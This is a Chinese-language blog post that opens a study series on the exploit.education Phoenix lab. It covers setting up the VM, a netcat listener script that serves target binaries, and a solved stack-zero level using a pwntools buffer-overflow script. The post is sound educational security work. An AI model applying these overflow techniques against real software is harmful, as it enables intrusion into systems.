找到一個學習 pwn 的項目http://exploit.education ,決定讓我臨時抱佛腳學的 pwn 走向正軌,試試開個筆記系列(每次 pwntools 腳本都忘記怎麼寫),希望不要半路棄坑。定個小目標,至少把 Phoenix 系列做完吧。
環境配置#
首先在 more-downloads 裡下載 phoenix 的虛擬機系統鏡像,根據你的架構選擇。這就是靶機。在啟動之前,我們需要安裝qemu-system-x86
(64 位的也在同一個包裡(archlinux))
運行boot-balabala.sh
啟動虛擬機,默認在 2222 端口開啟 ssh。用戶名和密碼都是 user。
如果你想使用 netcat 來轉發裡面的程序,只需在啟動腳本裡添加另一個端口轉發,這裡放網絡那一整行為例。
-netdev user,id=unet,hostfwd=tcp:127.0.0.1:2222-:22,hostfwd=tcp:127.0.0.1:3333-:3333
然後在虛擬機裡執行
mkfifo io
並創建一個腳本文件(start.sh)
#!/bin/bash
cat io|$1 -i 2>&1|nc -l 3333 > io
然後你就可以通過sh start.sh /opt/phoenix/amd64/stack-zero
這樣的方式來開 netcat 了,端口 3333 記得要和啟動腳本裡的匹配。
虛擬機裡的 gdb 默認裝了 gef 但是我不太會用,所以 scp 了一份 peda 進去。略過。
宿主機再裝個非常方便的 pwntools:pip install pwntools
stack-zero#
程序比較簡單,直接用 cutter 了。
(其實 exploit.education 的網頁上給了源碼)(開頭的註釋甚至是個冷笑話草草草)
我們現在要讓 s 溢出到 var_10h (changeme),內容隨便。打開 gdb,計算一下距離,先隨便輸入點什麼。
字符串在0x620
這裡。
判斷語句,changeme 在rbp-0x10
這裡也就是0x670-0x10
計算0x660-0x620=0x40
那麼我們只要輸出0x41
個 a 即可
為了練習使用 pwntools,寫個代碼。
這裡直接用 ssh 連了,nc 都不需要。
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
sh = shell.run("/opt/phoenix/amd64/stack-zero")
print(sh.recvline())
sh.sendline(b"a"*0x41)
print(sh.recvline())
shell.close()
成功